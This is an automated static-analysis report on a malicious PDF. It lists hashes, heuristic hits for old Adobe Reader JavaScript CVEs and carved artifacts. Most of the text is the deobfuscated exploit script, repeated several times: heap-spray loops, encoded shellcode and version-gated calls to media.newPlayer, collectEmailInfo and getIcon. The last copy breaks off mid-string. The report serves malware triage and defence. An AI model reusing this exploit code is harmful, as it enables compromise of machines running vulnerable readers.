Malicious PDF — malware analysis report

Static analysis result for SHA-256 e09d992f9fd1f624…

MALICIOUS

PDF

17.6 KB First seen: 2026-05-09
MD5: 02e68babd7c3a1165afcf6fb6ab373e1 SHA-1: aa85a95a2a92ff95d022a78363c4f064b16dda6c SHA-256: e09d992f9fd1f624dfa9837911f2e259c4e390cf7fe21357958078ce87988160
372 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF document contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT', 'PDF_JS', and 'PDF_EVAL'. The JavaScript stream, identified as 'stream_010_off00002a3f.js', likely contains obfuscated code designed to execute a malicious payload. The presence of 'eval()' calls strongly suggests dynamic code execution, a common technique for downloading and running further stages of malware. No specific family could be identified due to the obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9871

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (matched in decompressed stream)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var c2 = "scblk=urpled.su";
eval(c2+c1);
var d1 = "string(0,sprdata.length);";
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 8

Files carved from inside the sample during analysis.

FilenameKindSourceSize
stream_010_off00002a3f.js decompressed-pdf-stream PDF FlateDecoded stream at offset 0x2A3F 6731 bytes
SHA-256: 8edab7f5d6d3bc708c0e9328083b0354959e8f9d631fb43c0c99d34c90d4eac9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s).
generic_stage_recovery_000.js deobfuscated-js generic stage recovery split-literal-normalize from decompressed stream at 0x2A3F at offset 0x2A3F 6617 bytes
SHA-256: 316f35b1a22e108bed4ccfb5a8333187723c66f41396d3e6a3f817f3445082c4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function urpl(k,sc){
var c = "u";var kc=k+c;
var re = /XX/g;
sc = sc.replace(re,kc);
return sc;
}
function xxsc(dd,sc){
var xxxx = "XX4a4bXX4647";
var esprpl=dd;
var urpled = esprpl(urpl("%",sc));
var blknum = 0x41000;
var sprdata = esprpl(urpl("%",xxxx));
while(sprdata.length<blknum) sprdata+=sprdata;
var c1 = "bstring(0,urpled.length);";
var c2 = "scblk=urpled.su";
eval(c2+c1);
var d1 = "string(0,sprdata.length);";
var d2 = "sprblk=sprdata.sub";
eval(d2+d1);
memory=new Array();
var k = 0;
while (k < 200)	{memory[k]=sprblk+scblk;k++;}
}
function repeat(count,what){
var v = "";
while (--count >= 0) v += what;
return v;
}
var s="XX23ebXX4840XX5f43XX5b57XX8b66XX3c03XX7430XX2c1bXXc063XX04e0XXec80XX8043XX0fe4XXc402XXea34XX0788XX4343XXeb47XXe8e3XXffd8XXffffXX4e49XX4943XX4d41XX4541XX4d41XX4d41XX4d4bXX4543XX4d41XX4d41XX4d41XX4d41XX444eXX4e49XX4443XX4947XX4d42XX4d4dXX4d41XX4443XX4d40XX4f42XX424bXX4344XX4d42XX4943XX504aXX4c41XX4941XX4947XX4541XX4346XX4f4cXX4a47XX444aXX4a4cXX4846XX4444XX504aXX4a44XX4841XX474cXX4546XX4b43XX4c4cXX4d41XX4d41XX4d49XX494cXX4541XX4d4eXX4442XX4d41XX4b47XX4745XX4442XX4d41XX4942XX4141XX4d41XX4d41XX434aXX474cXX4d41XX4d41XX4d46XX4e45XX4b49XX494cXX414bXX4e47XX4d40XX4d41XX4d41XX4d41XX4449XX4d4dXX4941XX4449XX4d4cXX4942XX4a47XX4449XX4d4dXX4541XX4649XX4c49XX4a45XX4d42XX4d4dXX4d41XX4944XX4a49XX4448XX4248XX4d42XX4d4dXX4d41XX4c40XX4645XX4e48XX4f41XX4543XX504fXX4e41XX4d41XX4d41XX4c49XX5045XX4141XX4b43XX4f44XX4944XX4c40XX4d45XX4c40XX4b46XX4f4bXX4348XX474eXX4c45XX4449XX4c48XX4645XX4d42XX4d4dXX4d41XX4f4bXX4449XX4f41XX4f4bXX4440XX4d46XX414cXX4141XX4f4dXX4f4dXX4443XX4144XX4649XX4c48XX4e43XX4d42XX4d4dXX4d41XX4c40XX4f44XX4a48XX4d41XX4d4fXX4d41XX4d41XX4443XX4642XX434bXX4d41XX4f4eXX4844XX4c4aXX4e45XX4d42XX4d4dXX4d41XX4c49XX4544XX4d41XX474cXX4541XX4443XX4441XX4449XX4c48XX4646XX4d42XX4d4dXX4d41XX4c49XX4f45XX4141XX4443XX4243XX4649XX4c48XX4646XX4d42XX4d4dXX4d41XX4449XX4543XX4241XX4d41XX4541XX4d41XX4d41XX4d4eXX434bXX4d4dXX4844XX4c4aXX4648XX4d42XX4d4dXX4d41XX4649XX4c49XX4e46XX4d42XX4d4dXX4d41XX4c41XX4245XX4649XX4c49XX4246XX4d42XX4d4dXX4d41XX434bXX4d41XX434bXX4d41XX434bXX4d41XX4844XX4c48XX4646XX4d42XX4d4dXX4d41XX4844XX4c4aXX4a48XX4d42XX4d4dXX4d41XX4449XX4c48XX4e46XX4d42XX4d4dXX4d41XX4a49XX4448XX4a46XX4d42XX4d4dXX4d41XX4449XX4c4aXX4646XX4d42XX4d4dXX4d41XX4a49XX4c49XX5048XX4e42XX4d4dXX4d41XX4d4eXX4f4eXX434bXX4d41XX504eXX424eXX4f4eXX4b4eXX4844XX4c48XX4e43XX4d42XX4d4dXX4d41XX4844XX4c47XX4248XX4d42XX4d4dXX4d41XX4441XX4d45XX474cXX4849XX4d4aXX4d4aXX4449XX4c48XX4e46XX4d42XX4d4dXX4d41XX4449XX4f41XX4a40XX424fXX4d4eXX414dXX4f4dXX414cXX4941XX4449XX4c48XX4646XX4d42XX4d4dXX4d41XX4f4dXX4643XX4b4cXX4844XX4844XX4844XX4449XX4c48XX4e46XX4d42XX4d4dXX4d41XX4c40XX4645XX4348XX4344XX4444XX4944XX4a44XX4443XX4541XX4449XX4f41XX4440XX4b45XX414cXX4941XX4f4dXX4e4dXX4440XX4a45XX4b4cXX4144XX4643XX4b4eXX4844XX4844XX4844XX4d4aXX4c49XX4f45XX4141XX4449XX4940XX4143XX4d4aXX4d4aXX4d4aXX4648XX4d41XX4341XX4d41XX4d41XX4147XX4b43XX4a44XX4449XX4448XX4e46XX4d42XX4d4dXX4d41XX4d4aXX4d4aXX4d4aXX4d4aXX4d4aXX4d4aXX4d4aXX4d4aXX4d4aXX4d4aXX4d4aXX4d4aXX4d4aXX4c45XX4d4aXX4d4aXX4d4aXX4d4aXX4d4aXX4c45XX4d4aXX4d4aXX4d4aXX4d4aXX4d4aXX434bXX4d41XX4844XX4c4aXX4645XX4d42XX4d4dXX4d41XX4c45XX4d4bXX4449XX4c48XX4a45XX4d42XX4d4dXX4d41XX4c41XX4f4cXX4940XX4449XX4f4cXX454cXX4c41XX4c48XX4a45XX4d42XX4d4dXX4d41XX4f4eXX4449XX474dXX4542XX4449XX4f4cXX4d4fXX4c41XX4c48XX4a45XX4d42XX4d4dXX4d41XX4c40XX4d45XX4c40XX4b46XX4f4eXX4449XX4f40XX4c41XX4c48XX4a45XX4d42XX4d4dXX4d41XX4947XX4540XX4d43XX414cXX5041XX4e45XX4345XX4a41XX4c41XX4d46XX4443XX4144XX4440XX5042XX414cXX4641XX474eXX4c49XX4f45XX4141XX464dXX414cXX4240XX4443XX4946XX474eXX4449XX4f46XX474eXX444fXX4f4eXX4d4fXX444fXX4c4aXX4a45XX4d42XX4d4dXX4d41XX4e46XX4343XX4c41XX4f4eXX414fXX4c41XX4c4aXX4a45XX4d42XX4d4dXX4d41XX4841XX5048XX4b41XX4e45XX4d43XX4b41XX4c41XX4f4dXX4942XX4c41XX4c49XX4a45XX4d42XX4d4dXX4d41XX4449XX4d41XX4c41XX4c49XX4a45XX4d42XX4d4dXX4d41XX4649XX5041XX4443XX4e41XX474eXX4e4bXX4c45XX3030";
function exp8(dd,eee) {
var spd = "XX000aXX000aXX000aXX000a";
var esc = dd;
var esa = eee;
var spr = esc(urpl("%",spd));
var of = repeat(4096, spr);
var a=["\x5f\x4e\x2e\x62\x75\x6e\x64\x6c\x65"];
eee["\x67\x65\x74\x49\x63\x6f\x6e"](of+a[0x0]);}
function exp9(dd) {	
var esprpl=dd;
var sc = esprpl(urpl("%",s));
var ret = esprpl(urpl("%","XX0c0cXX0c0c"));
var sc2 = esprpl(urpl("%","XX0c0cXX0c0cXX0c0cXX0c0cXX0c0cXX0c0cXX0c0cXX0c0cXX6b62XX546eXX596aXX6c76XX506aXX5470XX666fXX7441XX4356XX586cXX726dXX4153XX4b4aXX624cXX7948XX4659XX6156XX7761XX7051XX7842XX5342XX4a64XX6365XX7464XX4972XX5766XX534dXX7569"));
var len = 0x8000;
var ccc = 0x2000;	
while(ret.length <= len) ret+=ret;
memory=new Array();
var xx1 = "(0,len- s.length);";
var xx2 = "ring";
var xx3 = "ret=ret.subst";
eval(xx3+xx2+xx1);
var k=0;
while(k<ccc){memory[k]= ret + sc;k++;}
util.printd("jbBFAXmYeqFJUPOXePHkjhAybWoldsgWfmBw", new Date());
util.printd("noCXCPHRXLpZKyNpKJJWxBkvpjKLYwpMfmCG", new Date());
try{eval("this.media.newPlayer(null)");}
catch(e) {}
util.printd(sc2, new Date());
}
function start(dd,eee) {
var esprpl=dd;var sc = esprpl(urpl("%",s));
if (app.viewerVersion >= 7.0)
plin = repeat(1124,esprpl(urpl("%","XX0b0bXX0028XX06ebXX06eb"))) + esprpl(urpl("%","XX0b0bXX0028XX0aebXX0aeb")) + esprpl(urpl("%","XX4346XX4a4b")) + repeat(122,esprpl(urpl("%","XX0b0bXX0028XX06ebXX06eb"))) + esprpl(urpl("%","XX4a4bXX4748XX4a4bXX4748XX4a4bXX4748")) + sc + repeat(1256,esprpl(urpl("%","XX4a4bXX4748")));
else 
{
ef6 =  esprpl(urpl("%","XXeeebXXeeeb")) + esprpl(urpl("%","XX0b0bXX0019"));
plin = repeat(80,esprpl(urpl("%","XX4141XX4141"))) + sc + repeat(80,esprpl(urpl("%","XX4241XX4142")))+ esprpl(urpl("%","XXf7e9XXfff9"))
+esprpl(urpl("%","XXffffXXffff")) + esprpl(urpl("%","XXf6ebXXf4eb")) + esprpl(urpl("%","XXf2ebXXf1eb"));
while ((plin.length % 8) != 0) 
plin = esprpl(urpl("%","XX4141")) + plin;
plin += repeat(2626,ef6);
}
if (app.viewerVersion >= 6.0)	{
var a=[];
eee["collectEmailInfo"]({subj:a[0x0],msg:plin});}
}
function fun1(a,b){
if(a>b)
{fun1(a,b);}
else
{fun1(a,b);}}
var bb = Collab;
var ver = app.viewerVersion;
if(ver>=20.0)
{fun1(2,3);}
else
{if(ver>=18.0){fun1(4,3);}}
if (((ver >= 9.1)&& (ver<9.3)) || ((ver > 8.102) && (ver < 9.0))){
var inBrowser = this.external;
if (inBrowser)
var shaft = app.setTimeOut("exp9(unescape)",1200);
else
exp9(unescape);
}
else
{
if(ver >= 8.0){
xxsc(unescape,s);
var inBrowser = this.external;
if (inBrowser)
var shaft = app.setTimeOut("exp8(unescape,bb)",1200);
else
exp8(unescape,bb);
}
else 
{
if(ver >= 6.0){
var inBrowser = this.external;
if (inBrowser)
var shaft = app.setTimeOut("start(unescape,bb);",1200);
else
start(unescape,bb);;
}
else
while(1){};		
}
}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery marker-XX-to-%u from decompressed stream at 0x2A3F at offset 0x2A3F 6095 bytes
SHA-256: 108d470302234877ecb430e64e1a1c67bbb3aa601b90d206787cc43236da10aa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
%u23eb%u4840%u5f43%u5b57%u8b66%u3c03%u7430%u2c1b%uc063%u04e0%uec80%u8043%u0fe4%uc402%uea34%u0788%u4343%ueb47%ue8e3%uffd8%uffff%u4e49%u4943%u4d41%u4541%u4d41%u4d41%u4d4b%u4543%u4d41%u4d41%u4d41%u4d41%u444e%u4e49%u4443%u4947%u4d42%u4d4d%u4d41%u4443%u4d40%u4f42%u424b%u4344%u4d42%u4943%u504a%u4c41%u4941%u4947%u4541%u4346%u4f4c%u4a47%u444a%u4a4c%u4846%u4444%u504a%u4a44%u4841%u474c%u4546%u4b43%u4c4c%u4d41%u4d41%u4d49%u494c%u4541%u4d4e%u4442%u4d41%u4b47%u4745%u4442%u4d41%u4942%u4141%u4d41%u4d41%u434a%u474c%u4d41%u4d41%u4d46%u4e45%u4b49%u494c%u414b%u4e47%u4d40%u4d41%u4d41%u4d41%u4449%u4d4d%u4941%u4449%u4d4c%u4942%u4a47%u4449%u4d4d%u4541%u4649%u4c49%u4a45%u4d42%u4d4d%u4d41%u4944%u4a49%u4448%u4248%u4d42%u4d4d%u4d41%u4c40%u4645%u4e48%u4f41%u4543%u504f%u4e41%u4d41%u4d41%u4c49%u5045%u4141%u4b43%u4f44%u4944%u4c40%u4d45%u4c40%u4b46%u4f4b%u4348%u474e%u4c45%u4449%u4c48%u4645%u4d42%u4d4d%u4d41%u4f4b%u4449%u4f41%u4f4b%u4440%u4d46%u414c%u4141%u4f4d%u4f4d%u4443%u4144%u4649%u4c48%u4e43%u4d42%u4d4d%u4d41%u4c40%u4f44%u4a48%u4d41%u4d4f%u4d41%u4d41%u4443%u4642%u434b%u4d41%u4f4e%u4844%u4c4a%u4e45%u4d42%u4d4d%u4d41%u4c49%u4544%u4d41%u474c%u4541%u4443%u4441%u4449%u4c48%u4646%u4d42%u4d4d%u4d41%u4c49%u4f45%u4141%u4443%u4243%u4649%u4c48%u4646%u4d42%u4d4d%u4d41%u4449%u4543%u4241%u4d41%u4541%u4d41%u4d41%u4d4e%u434b%u4d4d%u4844%u4c4a%u4648%u4d42%u4d4d%u4d41%u4649%u4c49%u4e46%u4d42%u4d4d%u4d41%u4c41%u4245%u4649%u4c49%u4246%u4d42%u4d4d%u4d41%u434b%u4d41%u434b%u4d41%u434b%u4d41%u4844%u4c48%u4646%u4d42%u4d4d%u4d41%u4844%u4c4a%u4a48%u4d42%u4d4d%u4d41%u4449%u4c48%u4e46%u4d42%u4d4d%u4d41%u4a49%u4448%u4a46%u4d42%u4d4d%u4d41%u4449%u4c4a%u4646%u4d42%u4d4d%u4d41%u4a49%u4c49%u5048%u4e42%u4d4d%u4d41%u4d4e%u4f4e%u434b%u4d41%u504e%u424e%u4f4e%u4b4e%u4844%u4c48%u4e43%u4d42%u4d4d%u4d41%u4844%u4c47%u4248%u4d42%u4d4d%u4d41%u4441%u4d45%u474c%u4849%u4d4a%u4d4a%u4449%u4c48%u4e46%u4d42%u4d4d%u4d41%u4449%u4f41%u4a40%u424f%u4d4e%u414d%u4f4d%u414c%u4941%u4449%u4c48%u4646%u4d42%u4d4d%u4d41%u4f4d%u4643%u4b4c%u4844%u4844%u4844%u4449%u4c48%u4e46%u4d42%u4d4d%u4d41%u4c40%u4645%u4348%u4344%u4444%u4944%u4a44%u4443%u4541%u4449%u4f41%u4440%u4b45%u414c%u4941%u4f4d%u4e4d%u4440%u4a45%u4b4c%u4144%u4643%u4b4e%u4844%u4844%u4844%u4d4a%u4c49%u4f45%u4141%u4449%u4940%u4143%u4d4a%u4d4a%u4d4a%u4648%u4d41%u4341%u4d41%u4d41%u4147%u4b43%u4a44%u4449%u4448%u4e46%u4d42%u4d4d%u4d41%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4c45%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4c45%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u434b%u4d41%u4844%u4c4a%u4645%u4d42%u4d4d%u4d41%u4c45%u4d4b%u4449%u4c48%u4a45%u4d42%u4d4d%u4d41%u4c41%u4f4c%u4940%u4449%u4f4c%u454c%u4c41%u4c48%u4a45%u4d42%u4d4d%u4d41%u4f4e%u4449%u474d%u4542%u4449%u4f4c%u4d4f%u4c41%u4c48%u4a45%u4d42%u4d4d%u4d41%u4c40%u4d45%u4c40%u4b46%u4f4e%u4449%u4f40%u4c41%u4c48%u4a45%u4d42%u4d4d%u4d41%u4947%u4540%u4d43%u414c%u5041%u4e45%u4345%u4a41%u4c41%u4d46%u4443%u4144%u4440%u5042%u414c%u4641%u474e%u4c49%u4f45%u4141%u464d%u414c%u4240%u4443%u4946%u474e%u4449%u4f46%u474e%u444f%u4f4e%u4d4f%u444f%u4c4a%u4a45%u4d42%u4d4d%u4d41%u4e46%u4343%u4c41%u4f4e%u414f%u4c41%u4c4a%u4a45%u4d42%u4d4d%u4d41%u4841%u5048%u4b41%u4e45%u4d43%u4b41%u4c41%u4f4d%u4942%u4c41%u4c49%u4a45%u4d42%u4d4d%u4d41%u4449%u4d41%u4c41%u4c49%u4a45%u4d42%u4d4d%u4d41%u4649%u5041%u4443%u4e41%u474e%u4e4b%u4c45%u3030";
function exp8(dd,eee) {
var spd = "%u000a%u000a%u000a%u000a";
var esc = dd;
var esa = eee;
var spr = esc(urpl("%",spd));
var of = repeat(4096, spr);
var a=["\x5f\x4e\x2e\x62\x75\x6e\x64\x6c\x65"];
eee["\x67\x65\x74\x49\x63\x6f\x6e"](of+a[0x0]);}
function exp9(dd) {	
var esprpl=dd;
var sc = esprpl(urpl("%",s));
var ret = esprpl(urpl("%","%u0c0c%u0c0c"));
var sc2 = esprpl(urpl("%","%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u6b62%u546e%u596a%u6c76%u506a%u5470%u666f%u7441%u4356%u586c%u726d%u4153%u4b4a%u624c%u7948%u4659%u6156%u7761%u7051%u7842%u5342%u4a64%u6365%u7464%u4972%u5766%u534d%u7569"));
var len = 0x8000;
var ccc = 0x2000;	
while(ret.length <= len) ret+=ret;
memory=new Array();
var xx1 = "(0,len- s.length);";
var xx2 = "r"+"i"+"n"+"g";
var xx3 = "ret"+"=r"+"et.su"+"b"+"s"+"t";
eval(xx3+xx2+xx1);
var k=0;
while(k<ccc){memory[k]= ret + sc;k++;}
util.printd("jbBFAXmYeqFJUPOXePHkjhAybWoldsgWfmBw", new Date());
util.printd("noCXCPHRXLpZKyNpKJJWxBkvpjKLYwpMfmCG", new Date());
try{eval("thi"+"s.m"+"ed"+"ia"+".n"+"ew"+"Pl"+"ay"+"er(n"+"ull)");}
catch(e) {}
util.printd(sc2, new Date());
}
function start(dd,eee) {
var esprpl=dd;var sc = esprpl(urpl("%",s));
if (app.viewerVersion >= 7.0)
plin = repeat(1124,esprpl(urpl("%","%u0b0b%u0028%u06eb%u06eb"))) + esprpl(urpl("%","%u0b0b%u0028%u0aeb%u0aeb")) + esprpl(urpl("%","%u4346%u4a4b")) + repeat(122,esprpl(urpl("%","%u0b0b%u0028%u06eb%u06eb"))) + esprpl(urpl("%","%u4a4b%u4748%u4a4b%u4748%u4a4b%u4748")) + sc + repeat(1256,esprpl(urpl("%","%u4a4b%u4748")));
else 
{
ef6 =  esprpl(urpl("%","%ueeeb%ueeeb")) + esprpl(urpl("%","%u0b0b%u0019"));
plin = repeat(80,esprpl(urpl("%","%u4141%u4141"))) + sc + repeat(80,esprpl(urpl("%","%u4241%u4142")))+ esprpl(urpl("%","%uf7e9%ufff9"))
+esprpl(urpl("%","%uffff%uffff")) + esprpl(urpl("%","%uf6eb%uf4eb")) + esprpl(urpl("%","%uf2eb%uf1eb"));
while ((plin.length % 8) != 0) 
plin = esprpl(urpl("%","%u4141")) + plin;
plin += repeat(2626,ef6);
}
if (app.viewerVersion >= 6.0)	{
var a=[];
eee["\x63\x6f"+"\x6c\x6c\x65"+"\x63\x74\x45"+"\x6d\x61\x69"+"\x6c\x49\x6e"+"\x66\x6f"]({subj:a[0x0],msg:plin});}
}
function fun1(a,b){
if(a>b)
{fun1(a,b);}
else
{fun1(a,b);}}
var bb = Collab;
var ver = app.viewerVersion;
if(ver>=20.0)
{fun1(2,3);}
else
{if(ver>=18.0){fun1(4,3);}}
if (((ver >= 9.1)&& (ver<9.3)) || ((ver > 8.102) && (ver < 9.0))){
var inBrowser = this.external;
if (inBrowser)
var shaft = app.setTimeOut("exp9(unescape)",1200);
else
exp9(unescape);
}
else
{
if(ver >= 8.0){
xxsc(unescape,s);
var inBrowser = this.external;
if (inBrowser)
var shaft = app.setTimeOut("exp8(unescape,bb)",1200);
else
exp8(unescape,bb);
}
else 
{
if(ver >= 6.0){
var inBrowser = this.external;
if (inBrowser)
var shaft = app.setTimeOut("start(unescape,bb);",1200);
else
start(unescape,bb);;
}
else
while(1){};		
}
}
generic_stage_recovery_002.js deobfuscated-js generic stage recovery marker-XX-to-%u from decompressed stream at 0x2A3F at offset 0x2A3F 2421 bytes
SHA-256: ca66284ab426a92ae1b146fc455bbab004c68070d67864af0b6f7d342d7bb7c8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u6b62%u546e%u596a%u6c76%u506a%u5470%u666f%u7441%u4356%u586c%u726d%u4153%u4b4a%u624c%u7948%u4659%u6156%u7761%u7051%u7842%u5342%u4a64%u6365%u7464%u4972%u5766%u534d%u7569"));
var len = 0x8000;
var ccc = 0x2000;	
while(ret.length <= len) ret+=ret;
memory=new Array();
var xx1 = "(0,len- s.length);";
var xx2 = "r"+"i"+"n"+"g";
var xx3 = "ret"+"=r"+"et.su"+"b"+"s"+"t";
eval(xx3+xx2+xx1);
var k=0;
while(k<ccc){memory[k]= ret + sc;k++;}
util.printd("jbBFAXmYeqFJUPOXePHkjhAybWoldsgWfmBw", new Date());
util.printd("noCXCPHRXLpZKyNpKJJWxBkvpjKLYwpMfmCG", new Date());
try{eval("thi"+"s.m"+"ed"+"ia"+".n"+"ew"+"Pl"+"ay"+"er(n"+"ull)");}
catch(e) {}
util.printd(sc2, new Date());
}
function start(dd,eee) {
var esprpl=dd;var sc = esprpl(urpl("%",s));
if (app.viewerVersion >= 7.0)
plin = repeat(1124,esprpl(urpl("%","%u0b0b%u0028%u06eb%u06eb"))) + esprpl(urpl("%","%u0b0b%u0028%u0aeb%u0aeb")) + esprpl(urpl("%","%u4346%u4a4b")) + repeat(122,esprpl(urpl("%","%u0b0b%u0028%u06eb%u06eb"))) + esprpl(urpl("%","%u4a4b%u4748%u4a4b%u4748%u4a4b%u4748")) + sc + repeat(1256,esprpl(urpl("%","%u4a4b%u4748")));
else 
{
ef6 =  esprpl(urpl("%","%ueeeb%ueeeb")) + esprpl(urpl("%","%u0b0b%u0019"));
plin = repeat(80,esprpl(urpl("%","%u4141%u4141"))) + sc + repeat(80,esprpl(urpl("%","%u4241%u4142")))+ esprpl(urpl("%","%uf7e9%ufff9"))
+esprpl(urpl("%","%uffff%uffff")) + esprpl(urpl("%","%uf6eb%uf4eb")) + esprpl(urpl("%","%uf2eb%uf1eb"));
while ((plin.length % 8) != 0) 
plin = esprpl(urpl("%","%u4141")) + plin;
plin += repeat(2626,ef6);
}
if (app.viewerVersion >= 6.0)	{
var a=[];
eee["\x63\x6f"+"\x6c\x6c\x65"+"\x63\x74\x45"+"\x6d\x61\x69"+"\x6c\x49\x6e"+"\x66\x6f"]({subj:a[0x0],msg:plin});}
}
function fun1(a,b){
if(a>b)
{fun1(a,b);}
else
{fun1(a,b);}}
var bb = Collab;
var ver = app.viewerVersion;
if(ver>=20.0)
{fun1(2,3);}
else
{if(ver>=18.0){fun1(4,3);}}
if (((ver >= 9.1)&& (ver<9.3)) || ((ver > 8.102) && (ver < 9.0))){
var inBrowser = this.external;
if (inBrowser)
var shaft = app.setTimeOut("exp9(unescape)",1200);
else
exp9(unescape);
}
else
{
if(ver >= 8.0){
xxsc(unescape,s);
var inBrowser = this.external;
if (inBrowser)
var shaft = app.setTimeOut("exp8(unescape,bb)",1200);
else
exp8(unescape,bb);
}
else 
{
if(ver >= 6.0){
var inBrowser = this.external;
if (inBrowser)
var shaft = app.setTimeOut("start(unescape,bb);",1200);
else
start(unescape,bb);;
}
else
while(1){};		
}
}
generic_stage_recovery_003.js deobfuscated-js generic stage recovery split-literal-normalize -> marker-XX-to-%u from decompressed stream at 0x2A3F at offset 0x2A3F 5981 bytes
SHA-256: e4af8ad051735bcbddf7852e4103407928ff822bc1d1df93efaabbcfd4bc1d8b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
%u23eb%u4840%u5f43%u5b57%u8b66%u3c03%u7430%u2c1b%uc063%u04e0%uec80%u8043%u0fe4%uc402%uea34%u0788%u4343%ueb47%ue8e3%uffd8%uffff%u4e49%u4943%u4d41%u4541%u4d41%u4d41%u4d4b%u4543%u4d41%u4d41%u4d41%u4d41%u444e%u4e49%u4443%u4947%u4d42%u4d4d%u4d41%u4443%u4d40%u4f42%u424b%u4344%u4d42%u4943%u504a%u4c41%u4941%u4947%u4541%u4346%u4f4c%u4a47%u444a%u4a4c%u4846%u4444%u504a%u4a44%u4841%u474c%u4546%u4b43%u4c4c%u4d41%u4d41%u4d49%u494c%u4541%u4d4e%u4442%u4d41%u4b47%u4745%u4442%u4d41%u4942%u4141%u4d41%u4d41%u434a%u474c%u4d41%u4d41%u4d46%u4e45%u4b49%u494c%u414b%u4e47%u4d40%u4d41%u4d41%u4d41%u4449%u4d4d%u4941%u4449%u4d4c%u4942%u4a47%u4449%u4d4d%u4541%u4649%u4c49%u4a45%u4d42%u4d4d%u4d41%u4944%u4a49%u4448%u4248%u4d42%u4d4d%u4d41%u4c40%u4645%u4e48%u4f41%u4543%u504f%u4e41%u4d41%u4d41%u4c49%u5045%u4141%u4b43%u4f44%u4944%u4c40%u4d45%u4c40%u4b46%u4f4b%u4348%u474e%u4c45%u4449%u4c48%u4645%u4d42%u4d4d%u4d41%u4f4b%u4449%u4f41%u4f4b%u4440%u4d46%u414c%u4141%u4f4d%u4f4d%u4443%u4144%u4649%u4c48%u4e43%u4d42%u4d4d%u4d41%u4c40%u4f44%u4a48%u4d41%u4d4f%u4d41%u4d41%u4443%u4642%u434b%u4d41%u4f4e%u4844%u4c4a%u4e45%u4d42%u4d4d%u4d41%u4c49%u4544%u4d41%u474c%u4541%u4443%u4441%u4449%u4c48%u4646%u4d42%u4d4d%u4d41%u4c49%u4f45%u4141%u4443%u4243%u4649%u4c48%u4646%u4d42%u4d4d%u4d41%u4449%u4543%u4241%u4d41%u4541%u4d41%u4d41%u4d4e%u434b%u4d4d%u4844%u4c4a%u4648%u4d42%u4d4d%u4d41%u4649%u4c49%u4e46%u4d42%u4d4d%u4d41%u4c41%u4245%u4649%u4c49%u4246%u4d42%u4d4d%u4d41%u434b%u4d41%u434b%u4d41%u434b%u4d41%u4844%u4c48%u4646%u4d42%u4d4d%u4d41%u4844%u4